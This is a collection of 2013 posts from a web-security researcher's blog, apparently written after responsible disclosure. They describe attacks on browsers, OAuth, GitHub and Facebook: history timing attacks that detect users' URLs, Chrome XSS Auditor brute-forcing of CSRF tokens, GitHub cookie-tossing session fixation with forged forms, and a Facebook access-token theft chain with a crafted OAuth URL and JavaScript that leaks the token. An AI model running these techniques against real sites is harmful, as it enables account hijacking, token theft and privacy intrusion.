Wednesday, March 20, 2013

Pwning Your Privacy in All Browsers

I found new vectors and techniques for the detection attack from my previous post. There is a cross browser way to detect does certain URL redirect to another URL and is destination URL equal to TRY_URL. Interestingly in webkit you can check a few millions of TRY_URLs per minute (brute force).

There were similar attacks: CSS-visited-links leaking, cross domain search timing but the vector I am going to describe looks more universal and dangerous.

For sure this is not a critical vulnerability - 9 thousand years to brute force, say, /callback?code=j4JIos94nh (64**10 => 1152921504606846976 checking 25mln/min). Stealing random tokens does not seem feasible.

On the other hand the trick is WontFix. Every website owner can detect:
  1. if you are user of any other website - github, google, or, maybe, DirtyRussianGirls.com... ?
  2. if you have access to some private resources/URLs (do you follow some protected twitter account)
  3. applications you authorized on any OAuth1/2 provider
  4. some private bits URL can contain: your Facebook nickname or Vkontakte ID.



I wrote a simple JS function and playground - feel free to use! (Sorry playground can be buggy sometimes, timeouts for Firefox should be longer and direct_history=false)

check_redirect(base, callback, [assigner])

base, String - starting URL. Can redirect to other URL automatically or only with some conditions (user is not logged in).

callback, Function - receives one Boolean argument, true when at least one of assigned URLs changed history instantly (URL was guessed properly) and false when history object wasn't updated (no URL guessed and all assignment were "reloading").

assigner, Function - optional callback, can be used for arbitary URL attempts and iterations (bruteforce). For example bruteforcing user id between 0-99:
function(w){
  for(var i=0;i < 100;i++){
    w.location='http://site.com/user?id='+i+'#';
  }
}

By default exploit assigns location=base+'#', making sure no redirect happened at all. Checking if user is logged in on any website is super easy:

check_redirect('http://site.com/private_path',function(result){
  alert(result ? 'yes' : 'no');
}).
(/private_path path is supposed to redirect user, in case he is not logged in.

Under the hood.

When you execute cross_origin_window.location=SAME_URL# and SAME_URL is equal to current location, browsers do not reload that frame. But, at the same time, they update 'history' object instantly.
This opens a timing attack on history object:
  1. Prepare 2 slots in history POINT 1 and POINT 2 that belong to your origin.
    cross_origin_window.location="/postback.html#1"
    cross_origin_window.location="/postback.html#2"
  2. Navigate cross origin window to BASE_URL
    cross_origin_window.location=base_url;
  3. Try to assign location=TRY_URL# and instantly navigate 2 history slots back.
    cross_origin_window.location=try_url+'#';
    cross_origin_window.history.go(-2) 
  4. If the frame changed location to POINT 2 - your TRY_URL was equal to  REAL_URL and history object was updated instantly. If it is POINT 1 - TRY_URL was different and it made browser to start page reloading, history object was not changed immediately.
Wait, only Chrome supports cross origin access to "history" property - how can you make it work on other browsers?


Thankfully I found a universal bypass - simply assign a new location POINT 3 which will contain <script>history.go(-3)</script> doing the same job.



Bruteforce in webkit:

Vkontakte (russian social network) http://m.vk.com/photos redirects to http://m.vk.com/photosUSER_ID. We can use map-reduce-technique from my previous Chrome Auditor script extraction attack.
Iterate 1-1kk, 1kk-2kk, 2kk-3kk and see which one returned to POINT 2. Repeat: 2000000-2100000, 2100000-2200000 etc.

It will take a few minutes to brute force certain user id between 1 and 1 000 000. Vkontakte has more than 100 millions of users - around 10 minutes should be enough.

Maybe performance tricks can make bruteforce loop faster (e.g. web workers). So far for(){} loop is only bottle neck here :)

Conclusion

Website owners can track customers' hobbies, facebook friends (predefined) visiting their blogs etc.

I have a strong feeling we dont want such information to be disclosed. It should be fixed just like CSS :visited vulnerability was fixed a few years ago.

Please, browsers, change your mind :)

Bonus - 414 and XFO

During the research I found unrelated but interesting attack vector, based on X-Frame-Options detection (Jeremiah wrote about it) and 414 error (URI is too long).

Server error pages almost never serve X-Frame-Options header and this trick can be applied for many popular websites using X-Frame-Options.

The picture below makes it clear (LONG_PAYLOAD depends on the server configuration, usually 5000-50000 symbols.):


Friday, March 15, 2013

The Achilles Heel of OAuth or Why Facebook Adds #_=_

This is a short addition to the previous rants on OAuth problems.

We've got Nir Goldshlager working on our side (he simply loves bounties and facebook does pay 'em). We both discovered some vulnerabilities in Facebook and we joined our forces to demonstrate how many potential problems are hidden in OAuth.

TL;DR: all oauth exploits are based on tampering with the redirect_uri parameter.
1 2 3 4
Here I demostrate 2 more threats proving that a flexible redirect_uri is the Achilles Heel of OAuth.



Open redirect is not a severe vulnerability on its own. OWASP says it can lead to "phishing". Yeah, it's almost nothing, but wait:

URI Fragment & 302 Redirects.
What happens if we load http://site1.com/redirect_to_other_site#DATA and  Site1.com responds with Status 302 and Location: evil.com/blabla.

What about #DATA? It's a so called URI Fragment a.k.a location.hash and it's never sent on the Server-side.

The browser simply appends exactly the same value to a new redirect destination. Yeah, it will load evil.com/blabla#DATA.

I have a feeling that is not a reasonable browser feature. I have an even stronger feeling that it opens yet another critical flaw in OAuth.

Any chain of 302 redirects
on any allowed redirect_uri domain (Client's domain myapp.com, sometimes Provider's domain too — facebook.com)
to any page with attacker's Javascript (not necessarily open redirect)
= stolen access_token = Game Over

Steps:
  1. window.open(fb auth/redirect_uri=site.com/redirector&response_type=token) 
  2. We get header:
    Location: http://site.com/redirector#access_token=123
  3. When the browser loads http://site.com/redirector it gets following header
    Location: http://evil.com/path
  4. And now the browser navigates to
    http://evil.com/path#access_token=123
  5. our Javascript leaks the location.hash

and this is...
Why Facebook Adds #_=_

Every time Facebook Connect redirects you to another URL it adds #_=_. It is supposed to kill a "sticky" URI fragment which the browser carries through chain of 302 redirects.

Previously we could use something like
FBAUTH?client_id=approved_app&redirect_uri=ourapp.com
in redirect_uri for other clients as a redirector to our app.

Fb auth for Other client -> Fb auth for Our client#access_token=otherClientToken -> 302 redirect to our app with #access_token of Other client.

Stolen Client Credentials Threat
Consumer keys of official Twitter clients
Is it game over? Currently - yes, both for OAuth1 and 2. Let me explain again response_type=code flow:

  1. redirect to /authorize url with redirect_uri param
  2. it redirects back to redirect_uri?code=123#_=_
  3. now server side obtains access_token sending client creds + used redirect_uri (to prevent leaking through referrer) + code

So if we have client creds we only need to find a document.referrer leaking redirect_uri (it can be any page with <img src="external site..."> or open redirector)

How would you obtain an access_token if redirect_uri would be static?


Oh, wait, there is no such way, because stolen credentials are not a threat if redirect_uri is whitelisted!


The funniest thing with all these rants
Most of our OAuth hacks pwn the Provider and its users (only the most-common vulnerability pwns the Client's authentication). 

This makes me really curious what the hell is wrong with Facebook and why don't they care about their own Graph security and their own users. Why do they allow a flexible redirect_uri, opening an enormous attack surface (their own domain + client's app domain)?

We simply play Find-Chain-Of-302-Redirects, Find-XSS-On-Client and Leak-Credentials-Then-Find-Leaking-Redirect_uri games. Don't they understand it is clearly their business to protect themselves from non ideal clients?


A good migration technique could be based on recording the most used redirect_uri for every Client (most of rails apps use site.com/auth/facebook/callback) and then setting those redirect_uris as the whitelisted ones.

P.S. Although, as bounty hunters, me, @isciurus and Nir are OK with the current situation. There is so much $$$ floating around redirect_uri...

P.S.2 feel free to fix my language and grammar, I get many people asking to elaborate some paragraphs.

Thursday, March 14, 2013

Brute-Forcing Scripts in Google Chrome

A while ago I found leaking document.referrer vulnerability and even used it to hack Facebook.

It's Chrome's XSS Auditor again (severity = medium, no bounty again). Can be used with websites serving X-XSS-Protection: 1;mode=block header.

TL;DR there is a fast way to detect and extract content of your scripts.

Even after fixing document.referrer bug it is still possible to detect if Auditor  banned our payload checking location.href=='about:blank' (I remind you that about:blank inherits opener's origin).

XSS Auditor searches every string between "<script>" and first comma or (first 100 characters) against POST body, GET query string and location.hash content.

Scripts, events on* and javascript:* links often contain private information.

Following values can be extracted:
<a onclick="switch_off()"
<script>username='homakov',
<script>email='homakov@gmail.com',
<script>pin=87542,
<script>data={csrf_token:'aBc123dE',
<a href="javascript:fn(123)

I simply send tons of possible payloads and if some page was banned (payload was found in the source code) then we found which bunch contains the real content of script.

'map-reduce'-like technique:
  1. open 10 windows (10 for simplicity, we can use 25 windows. if target has no X-Frame-Options it can be way faster with <iframe>s) containing specific bunches of possible payloads:
    <script>pin=1<script>pin=2<script>pin=3<script>pin=4...
    from 1 to 1000000, from 1000000 to 2000000, from 2000000 to 3000000 etc
  2. if, say, second window was banned we should do the same procedure and open new windows with:
    from 1 000 000 to 1 100 000, from 1 100 000 to 1 200 000 etc and so on
  3. finally let's open 10 windows with  1 354 030, 1 354 031, 1 354 032, 1 354 033 ... and detect exact value hidden inside of <script> on the target page.
Definitely pwns your privacy but is it..

Feasible to brute force CSRF token?
1) XSS auditor is case insensitive, it makes bruteforce simpler: a-z instead of a-zA-Z.
2) csrf tokens happen to be quite short, 6-10 symbols.
3) 36 ^ 6 = 2176782336
4) every bunch checks 5 000 000 variants, We need 500 bunches
5) 25 windows per 10 seconds.  - 200 seconds.
6) now we found bunch containing real value — keep map-reducing this bunch and find the exact value - another 50-60 seconds
8) this value is case insensitive - to exploit it you should provide all possible cases of letters. around 50 requests and one of them will be successful.

200s (find 5 000 000 bunch containing real token)
+ 50s (detect real token in specific bunch)
+ 10s (send 50 malicious requests using <form>+iframe with all possible cases)
= 260s

approximately, exploitation time for different token size:
6 characters — 4.5 minutes
7 characters — 120 minutes
8 characters — 72 hours
Saving checked bunches in the cookie (next time you will continue with other bunches) + using location.hash (it is not sent on server side and can be very long) = plausible CSRF token brute force.

PoC — extract "<script>pin=162621"

Moral:
  • use 8+ characters in the CSRF token
  • all kinds of detections are bad. There is no innocent detections. A small weak spot can be used in a dangerous exploit.
    Today I found a way to brute-force 25 000 000 URLs / minute using location.hash detection (WontFix!). And keep making it faster. 
Bonus, how to keep malicious page opened for a long time:

Friday, March 8, 2013

Hacking Github with Webkit

Previously on Github: XSS, CSRF (My github followers are real, I gained followers using CSRF on bitbucket), access bypass, mass assignments (2 Issues Reported forever), JSONP leaking, open redirect.....

TL;DR: Github is vulnerable to cookie tossing. We can fixate _csrf_token value using a Webkit bug and then execute any authorized requests.

Github Pages

Plain HTML pages can served from yourhandle.github.com. These HTML pages may contain Javascript code.
Wait.
Custom JS on your subdomains is a bad idea:
  1. If you have document.domain='site.com' anywhere on the main domain, for example xd_receiver, then you can be easily XSSed from a subdomain
  2. Surprise, Javascript code can set cookies for the whole *.site.com zone, including the main website.

Webkit & cookies order

Our browsers send cookies this way:

Cookie:_gh_sess=ORIGINAL; _gh_sess=HACKED;

Please have in mind that Original _gh_sess and Dropped _gh_sess are two completely different cookies! They only share same name.
Also there is no way to figure out which one is Domain=github.com and which is Domain=.github.com.
Rack (a common interface for ruby web applications) uses the first one:

cookies.each { |k,v| hash[k] = Array === v ? v.first : v }

Here's another thing, Webkit  (Chrome, Safari, and the new guy, Opera) sends cookies ordering them not by Domain (Domain=github.com must go first), and even not by httpOnly (they should go first obviously).
It orders them by the creation time (I might be wrong here, but this is how it looks like).

First of all let's have a look at the HACKED cookie.

PROTIP — save it as decoder.rb and decode sessions faster:


ruby decoder.rb
BAh7BzoPc2Vzc2lvbl9pZCIlNWE3OGE0ZmEzZDgwOGJhNDE3ZTljZjI5ZjI1NTg4NGQ6EF9jc3JmX3Rva2VuSSIxU1QvNzR6Z0h1c3Y2Zkx3MlJ1L29rRGxtc2J5OEd3RVpHaHptMFdQM0JTND0GOgZFRg%3D%3D--06e816c13b95428ddaad5eb4315c44f76d39b33b

{:session_id=>"5a78a4fa3d808ba417e9cf29f255884d", :_csrf_token=>"ST/74zgHusv6fLw2Ru/okDlmsby8GwEZGhzm0WP3BS4="}
  1. on a subdomain we create _gh_sess=HACKED; Domain=.github.com
  2. window.open('https://github.com'). Browser sends: Cookie:_gh_sess=ORIGINAL; _gh_sess=HACKED;
  3. Server responds: Set-Cookie:_gh_sess=ORIGINAL; httponly ....
  4. This made our HACKED cookie older then freshly received ORIGINAL cookie. Repeat request: 
  5. window.open('https://github.com'). Browser sends:
    Cookie: _gh_sess=HACKED; _gh_sess=ORIGINAL;
  6. Server response: Set-Cookie:_gh_sess=HACKED; httponly ....
  7. Voila, we fixated it in Domain=github.com httponly cookie. Now both Domain=.github.com and Domain=github.com cookies have the same HACKED value.
  8. destroy the Dropped cookie, the mission is accomplished:   document.cookie='_gh_sess=; Domain=.github.com;expires=Thu, 01 Jan 1970 00:00:01 GMT';
Initially I was able to break login (500 error for every attempt). I had some fun on twitter. Github staff banned my repo. Then I figured out how to fixate "session_id" and "_csrf_token" (they never get refreshed if already present)

It will make you a guest user (logged out) but after logging in values will remain the same.

Steps:

  1. let's choose our target. We discussed XSS-privileges problem on twitter a few days ago. Any XSS on github can do anything: e.g. open source or delete a private repo. This is bad and Pagebox technique or Domain-splitting would fix this.

    We don't need XSS now since we fixated the CSRF token.
    (CSRF attack is almost as serious as XSS. Main profit of XSS - it can read responses. CSRF is write-only).

  2. So we would like to open source github/github, thus we need a guy who can technically do this. His name is the Githubber.
  3. I send an email to the Githubber.
    "Hey, check out new HTML5 puzzle! http://blabla.github.com/html5_game"
  4. the Githubber opens the game and it executes the following javascript — replaces his _gh_sess with HACKED (session fixation):

  5. HACKED session is user_id-less (guest session). It simply contains session_id and _csrf_token, no certain user is specified there.
    So the Game asks him explictely: please Star us on github (or smth like this) <link>.
    He may feel confused (a little bit) to be logged out. Anyway, he logs in again.
  6. user_id in session belongs to the Githubber, but _csrf_token is still ours!
  7. Meanwhile, the Evil game inserts <script src=/done.js> every 1 second.
    It contains done(false) by default — it means, keep submitting the form to iframe :

    <form target=irf action="https://github.com/github/github/opensource" method="post">
    <input name="authenticity_token" value="ST/74zgHusv6fLw2Ru/okDlmsby8GwEZGhzm0WP3BS4="
    </form>
  8. At the same time every 1 second I execute on my machine:
    git clone git://github.com/github/github.git 
  9. As soon as the repo is opensourced my clone request will be accepted. Then I change /done.js: "done(true)". This will make Evil game to submit similar form and make github/github private again:

    <form target=irf action="https://github.com/github/github/privatesource" method="post">
    <input name="authenticity_token" value="ST/74zgHusv6fLw2Ru/okDlmsby8GwEZGhzm0WP3BS4="
    </form>
  10. the Githubber replies: "Nice game" and doesn't notice anything (github/github was open sourced for a few seconds and I cloned it). Oh, his CSRF token is still ST/74zgHusv6fLw2Ru/okDlmsby8GwEZGhzm0WP3BS4=

    Forever
    . (only cookies reset will update it)



Fast fix — now github expires Domain=.github.com cookie, if 2 _gh_sess cookies were sent on https://github.com/*.
It kills HACKED just before it becomes older than ORIGINAL.

Proper fix would be using githubpages.com or another separate domain. Blogger uses blogger.com as dashboard and blogspot.com for blogs.

Last time I promised to publish an OAuth security insight

This time I promise to write Webkit (in)security tips in a few weeks. There are some WontFix issues I don't like (related to privacy).

P.S.
I reported the fixation issue privately only because I'm a good guy and was in a good mood.
Responsible disclosure is way more profitable with other websites, when I get a bounty and can afford at least a beer.
Perhaps, tumblr has a similar issue. I didn't bother to check

Sunday, March 3, 2013

Contributions, 2012

All the buzz started after the commit that changed my life.
here are some highlights of my contributions, kind of digest.

I did some basic stuff — every newcomer starts with it :P
tried to convince people to fix CSRF, showcasing shitloads of CSRF-vulnerable sites
JSONP
clickjacking
content type verification for JSON input

then spent a while on Rails security:
shameful but effective whitelist by default for mass assignment
getting rid of CSRF-vulnerable 'match' from routes.rb
added default_headers (X-Frame-Options etc) to make Rails apps secure from clickjacking by default
escape_html_entities for JSON.dump
sending nil using XML/JSON params parsers
some whining and XSS showcases on ^$ regexps (no success here)
my presentation with common cases in Moscow
and just plain posts on the future of Rails security  1,2.

played with OAuth:
hijacking account, another hijacking, some other vulns and final post — OAuth1, OAuth2, OAuth...? 

browser security
disclosure of URL and HASH (quite slow but race-condition standard is a vulnerability anyway)
passwords-autofill

theoretical posts on how to make Web perfect

rethinking cookies: Origin Only
Pagebox - XSS sandbox

Last year was not so bad, next should be more productive.

I am going to focus on defensive security (pagebox), Ruby security gems (for rack based apps), authorization techniques (OAuth is getting more popular != better) and financial security.

Also there is not much to do with Rails - it's well secured now! Thus I am choosing a new framework, likely, nodejs or lift.

Friday, March 1, 2013

OAuth1, OAuth2, OAuth...?

TL;DR OAuth2 sucks.

Please don't think about OAuth2 as about the next generation of OAuth1. They are completely different like colors: OAuth1 is the green version, OAuth2 is the red version
The biggest OAuth1 provider - Twitter.
I bet ($100!) they are not switching to OAuth2 in the near future. Pros and cons:
+ becoming compatible with the rest of social networks
- making authorization flow insecure, like the rest of social networks

I am not telling OAuth1 is super secure — it was vulnerable to session fixation a few years ago. If you made user to approve 'oauth_token' issued for your account, then you could use same oauth_token again and sign in his account on the Client website.

It was fixed in oauth1.a. Wait, read again: it was fixed. None of oauth2 vulnerabilities i pointed out in my previous posts a year ago was adressed in the spec. OAuth1 is straight, concise, explicit and secure protocol. OAuth2 is the road to hell.
Here we go!

OAuth2 core vulnerabilities - parameters



I have no idea why, who and, generally speaking, what the fuck, but we can transfer "response_type" as a parameter in URL (not as a setting of your Client).

Vector 1. Set respones_type=token in authorization URL and use specially crafted redirect_uri to leak access_token from URI fragment. You can add Chrome vulns like we did to hack Facebook. Hashbang #! is very nice bug too. Controlled piece of code (XSS) or mobile app like Nir did. BTW avoid pre-approved Clients ( Facebook Messenger with full permissions)

Stolen access_token = Game Over.

response_type must be a constant value in application settings.

redirect_uri
Vector 2. If spec was implemented properly then tampering redirect_uri to other, "leaky", values is pointless. Because to obtain access token you must send redirect_uri value with client creds. If actual redirect_uri was "leaky" and not equal real redirect_uri Client will not be able to obtain access_token for this code.

Vk (vkontakte) was vulnerable to this attack until Sep 2012 - redirect_uri wasn't required to obtain token. An <img> on client website could leak victim's 'code' through referrer and attacker could use same 'code' to log in victim's account.


redirect_uri should be a constant value in application settings.

'scope' (actions User should allow for your Client) is also transfered in query string. I can't call it a major vulnerability, rather ugly user experience but anyway this is sort of stupid, no? "Pay as much as you wish, up to you"

Checking permissions after obtaining access_token is barely a right solution. This is rather a work around. Much better:

  1. if it's a parameter in URL then User should be able to remove some permissions by clicking [X]. This is my human rights, fuck yeah!
  2. if you really need some scope so badly - set it in Client's settings. Now you are 100% sure that User granted these permissions.

Authentication vs Authorization

Wiki
authorize = permit 3rd party Client to access your Resources (/me, /statuses/new)
authenticate = prove that "this guy" is "that guy" which has account on the website.

OAuth2 was designed for authorization purposes only, but now in 90% (yep!) of cases people authenticate with it too! They simply use /me endpoint and find a record in database by external_user_id and provider_name.

It leads to bad things happenning.

Vector 3The Most Common OAuth2 Vulnerability or how I found CSRF based account hijacking vuln in most of OAuth2 implementations (omniauth, django etc)
At some extent state-by-default is attr_accessible-by-default (you know what i mean). I think state should be a compulsory parameter. Otherwise we can invent a new compulsory csrf_token parameter doing exactly same job with "mnemonic" name.
Any implementation w/o 'state' is vulnerable to CSRF. It leads to session fixation (Alice is logged in as Mallory) and account hijacking (Mallory can log in as Alice because Alice connected Mallory Provider Account).

Vector 4One access_token to rule them all or make sure access_token belongs to your Client

I truly love signed_request (Facebook feature!), it provides information about Client that issued this access_token. I think we should stop using response_type=token and use signed_request only. Because it is a reliable way for mobile and client side apps to obtain access_token+client_id of this token+current user_id (less round trips).
If we make redirect_uri constant and introduce encrypted_request (same data but encrypted with client_secret) it would be just perfectly secure flow.

XSS Threat, Vector 5
Nowdays XSS cannot steal user's session because of httpOnly flag (I assume everyone uses it).

Wait.. does OAuth2-based authentication have any protection from possible XSS on Client's website? No, attacker gets carte blanche:

  1. create iframe with response_type=token in authorize URL, then slice location.hash containing access_token
  2. use response_type=code and set wrong state. If CSRF protection is implemented 'code' will not be used and attacker can hijack User's account simply using this 'code' (within 10 minutes). Friendly reminder for Providers: 'code' must be used only once and within couple of minutes — I got $2000 bounty from facebook for finding replay attack.
  3. if csrf protection is NOT implemented (wtf?!) you can try a cool trick - 414 error. Set super long state (5000 symbols), facebook has no limits on state but Client server most likely has. 'code' won't be used because of server error - slice it!
  4. 'state' fixation + using callback with Attacker's code to hijack account
Voila, both stolen access_token + stolen account on Client
Mitigations:

  1. always obtain access_token for every received code. But don't use it if state was wrong. "Destroy" code, or attacker will use it.
  2. clear state cookie as soon as it was used. "Destroy" state or attacker will use it.
If there is session fixation on Client website (I often seen absence of CSRF token on login forms) then Provider account fixation is routinely possible


Phishing Threat, Vector 6
Can you imagine how simple phishing is: create a Client with slightly different name: e.g. Skype -> Skype App/Skype IM, copy picture, description from original Client, use skype.com.evil.com domain.
Mitigations:
  1. Verified Clients. Similar popup near Client name, like we have for twitter accounts.
  2. Add information about amount of Users this app has. I won't authorize "Skype IM" having only 12 users with such app installed.

Client Leaked All the Tokens.
What is Provider gonna do if some Client leaked all access_tokens at once (SQL injection for example). I think there should be kind of Antifraud system, monitoring token usage. And I am developing one btw, let me know if you wish to try.

'refresh_token'
I might be missing something, but why can't we use access_token + client creds to obtain a new access_token? refresh_token = access_token. If access_token is stolen it cannot be refreshed w/o client creds anyway. If client creds are stolen too = Game Over.

Infinite access
Dear Providers, please, add valid_thru parameter, I want to set for how long the Client has access to my Resources.


Last but not least threat, MITM
SSL and encryption. OAuth2 relies heavily on https. This makes framework simpler but way less secure.

so, OAuth...?

This is a sad story. And I don't know what to do and how to fix it.
Who to join? OAuth2.a? i am just a russian scriptkiddie nobody listens to :/

Framework, not protocol, they said.

coming a mess big frameworks authorization in

Wednesday, February 27, 2013

URL detection with location.hash and history Timing attack. I know your Facebook username.

Meanwhile working hard on Pagebox. XHR proxy is done, looking forward your feedback

TL;DR there is a way to detect current URL in iframe or window by assigning it TRY_URL# - if our guess was right page wont be reloaded. Not very practical and pretty slow, but it's still a (minor?) vulnerability in standard.

UPDATE I found a better way - hash assignment changes history much faster than normal, "reloading" assignment - so we use a Timing attack to figure out if our TRY_URL == REAL_URL. Works for all websites quite reliably.

1) set data: url checker, you can postMessage some data to opener
2) redirect window to /redirector path which will redirect to /real_path
3) try to assign /try_path# and if it was equal real_path history object will be changed right away. So - execute history.go(-1) and see
4) if it redirects to data: - it means real_path != try_path. You can setTimeout for 100 ms and realize that you found real_path - history.back() will remove new #, not redirect to data: url
5) works for any website, https too. I demonstrate it on Facebook

I can't say this vulnerability is very major and severe. At some extent it's not a vulnerability, it's a common standard that will not be changed in the near future. Severity depends on what critical information is exposed in your URL.

Yes, the trick is perfectly legal but here I prove that it's a vulnerability!


  • location.hash can be used as data transport as well as window.name and it's quite well-known. If you assing location=SAME_URL#new_hash for iframe/window location, where SAME_URL is current path - only hash will be changed, page itself will not be reloaded.
  • onload is not fired up if you change hash this way
  • redirect from path#hash -> new_path#hash adds #hash automatically to new path.
  • when you assign location=SAME_URL#SAME_HASH it won't be pushed to history object
  • blocked popup windows in Chrome are full-featured windows just running in background. They are not "blocked" at all.

The idea is — we simply can check if URL is equal to our TRY_URL by assigning location="TRY_URL#" and if onload event has been triggered - answer is "No". Otherwise some setTimeout can let us know that our TRY_URL was a right guess!

Theoretical showcase - sinatra app and ?id=95 path detection

Real world showcase... Facebook again, maybe?
I will detect your current username. Wait, I cannot use frames, FB has X-Frame-Options! And when we use window.open we cannot set onload for cross origin windows. Too bad. But I didn't give up and used timing attack!

Here - very simple PoC telling if your real handle is equal TRY_HANDLE.

Saturday, February 23, 2013

Pagebox — sandboxing XSS attacks.

View FAQ and proof of concept (Sinatra app) on Github  Here I explain the idea and problems I stumbled upon.

Demo online

XHR
Pagebox is a technique for building bullet-proof web apps, which can dramatically improve XSS protection for complex and multi-layer websites with huge attack surface.
Web is not super robust (Cookies, Clickjacking, Frame navigation, CSRF etc) but XSS is an Achilles' heel, it is a shellcode for the entire domain.

If we prove /some_path to be vulnerable to XSS, we can interact with the whole website. This might lead to bad things happening — for example, malicious XSS on /some_path may attempt to, damn it, /withdraw our money. Pagebox presents the solution to this problem.

Sandboxed pages

The idea I want to implement is to make every page independent and secure from other vulnerable pages located on the same domain.

Developers can limit interactions of this particular page with others—by either blacklisting things that clearly shouldn't be done, or by taking a more restrictive approach and whitelisting only allowed things.

frames
Pagebox splits the entire website into many sandboxed pages with unique origins. Every page is not accessible from other pages unless developer allowed it explicitly - you simply cannot window.open/<iframe> other pages on the same domain and extract document.body.innerHTML because of the CSP header: Sandbox.
frames
Every page contains a signed serialized object in <meta> tag, and sends it along with every XMLHttpRequest and <form> submission. Meta tag contains signed information about what was permitted for this URL.
Boxed pages are assigned their pagebox scope, which either limits or allows only particular kinds of request (suppose you're viewing the messages page, you only have the :messages scope, which indicates only message query/creation is allowed; attempt to access any other part would be denied.) Backend checks if the permissions were tampered, if they're good and the action is allowed, it processes the request. To some extent, it's Cross Page Request Forgery protection.

Pagebox can look like: ["follow", "write_message", "read_messages", "edit_account", "delete_account"]. Or it can be more high-level: ["default", "basic", "edit", "show_secret"]
permitted URLs

Problems

Now page can only submit forms, but XHR CORS doesn't work properly - nobody knew we will try it in such way. I'm stuck with XHR-with-credentials and I need your help and ideas.
1) Every page is sandboxed and we cannot put 'allow-same-origin' to avoid DOM interactions
2) When we sandbox a page it gets a unique origin 'null', when we make requests from 'null' we cannot attach credentials (Cookies), because wildcard ('*') is not allowed in Access-Control-Allow-Origin: * for with-credentials requests.
when responding to a credentialed request,  server must specify a domain, and cannot use wild carding.
3) Neither * nor null are allowed for Access-Control-Allow-Origin. So XHR is not possible with Cookies from sandboxed pages.
4) I was trying to use not sandboxed /pageboxproxy iframe, which would do the trick from not sandboxed page and return result back with postMessage, but when we frame not sandboxed page under sandboxed it doesn't work either.
I don't know how to fix it but I really want to make pagebox technique work. It fixes the Internet.

Feel free to troll ask me questions in comments or at homakov@gmail.com - I'm happy to help! Please share your ideas how to make it real.

Tuesday, February 19, 2013

How we hacked Facebook with OAuth2 and Chrome bugs

TL;DR We (me and @isciurus) chained several different bugs in Facebook, OAuth2 and Google Chrome to craft an interesting exploit. MalloryPage can obtain your signed_request, code and access token for any client_id you previously authorized on Facebook. The flow is quite complicated so let me explain the bugs we used.

1. in Google Chrome XSS Auditor, leaking document.referrer.
3 weeks ago I wrote disclosure post on referrer leakage for pages with X-XSS-Protection: '1;mode=block'. Please read the original post to understand how it works. When Auditor blocks page, it redirects to about:blank URL (about:blank always inherits parent's origin). And we can access document.referrer containing the previous URL Auditor just blocked. Facebook had '1; mode=block' header. Now it's 0; because of us (Auditor is dangerous, new vulns will be posted soon). Sadly, this bug report was marked as sev=low by Chrome security team and no bounty granted.
It's not patched yet.

2. OAuth2 is... quite unsafe auth framework. Gigantic attack surface, all parameters are passed in URL. I will write a separate post about OAuth1 vs OAuth2 in a few weeks. Threat Model is bigger than in official docs.
In August 2012 I wrote a lot about common vulnerabilities-by-design and even proposed to fix it: OAuth2.a.

We used 2 bugs: dynamic redirect_uri and dynamic response_type parameter.
response_type=code is the most secure authentication flow, because end user never sees his access_token. But response_type is basically a parameter in authorize URL. By replacing response_type=code to response_type=token,signed_request we receive both token and code on our redirect_uri.

redirect_uri can be not only app's domain, but facebook.com domain is also allowed.
In our exploit we used response_type=token,signed_request&redirect_uri=FB_PATH where FB_PATH was a specially crafted URL to disclose these values...

3. location.hash disclosure on facebook.com
For response_type=token provider sends an access token in location fragment (aka location.hash) to avoid data leaking via referrers (location.hash is never sent in referrers)
@isciurus found a "bouncing" hashbang in September 2012. The trick was: facebook removes '#' from URLs containing "#!" (AJAX google indexation trick) , it boils down to copying location.hash into URL and discloses access token in document.referrer.
Later, in January he just found another bypass of "fixed" vulnerability, using %23 instead of #.

Here we go - PoC, look at the source code.

cut_me Custom Payload we used to make Auditor to block the final page. We put it in the 'state' parameter (used to prevent CSRF, you must know!)
target_app_id client_id we want to steal access_token and code from. In "real world" exploit we would use 100-200 most popular Facebook applications and just gather all the available tokens. It would be awesome.
sensitive_info - tampering of response_type parameter: signed_request and token are Private Info we are going to leak through document.referrer
Now the final URL:
url = "http://www.facebook.com/dialog/oauth?client_id=" + target_app_id + "&response_type="+sensitive_info+"&display=none&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D"+cut_me+"&sdk=joey";

Value will look like:

http://www.facebook.com/dialog/oauth?client_id=111239619098&response_type=token%2Csigned_request&display=none&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D%3Cscript%3Evar%20bigPipe%20%3D%20new%20(require('BigPipe'))(%7B%22lid%22%3A0%2C%22forceFinish%22%3Atrue%7D)%3B%3C%2Fscript%3E&sdk=joey

Steps:

1) We open 25 windows (this is maximum amount of allowed windows in Chrome) with different target_app_id. Gotcha: Chrome DOES load the URL even if it blocks a window. This makes exploit even cooler: we open 25 windows, all of them are blocked but loaded, Auditor blocks Custom Payload, we grab document.referrer, user is not scared at all.

2) If user previously authorized certain app_id he will be automatically redirected to
FB_PATH#...signed_request=SR&access_token=TOKEN&state=CUSTOM_PAYLOAD

3) Here Facebook javascript removes '#' from the URL and redirects user to another FB_PATH/...?signed_request=SR&access_token=TOKEN&state=CUSTOM_PAYLOAD

4) Now server responds with HTML page and
X-XSS-Protection: '1; mode=block'
header.
Chrome XSS Auditor detects state=CUSTOM_PAYLOAD in HTML code of response:
<script>var bigPipe = new (require('BigPipe'))({"lid":0,"forceFinish":true});</script>'
blocks and redirects to about:blank

5) On MalloryPage we have setInterval which waits for location.href=='about:blank'.
about:blank inherits our MalloryPage origin - so we have access to document.referrer. Final routine:

playground.close();
clearInterval(int);
var ref = playground.document.referrer;
window.token = ref.match(/token=([^\&]+)/)
if(window.token){
  window.token = window.token[1];
  document.write('<script src="https://graph.facebook.com/me?callback=hello&access_token='+window.token+'"><'+'/script>');
}
var hello = function(data){
  alert('Whats up '+data.name+" your token is "+window.token);
}

Voila! Using this exploit we can obtain code, signed_request and your access_token for any Client.

After party.
We are splitting $2500 + $2500 bounty from Facebook and working on new attacks.

You really must check the coming soon article I promised to write in a few weeks, explaining how broken OAuth2 is.
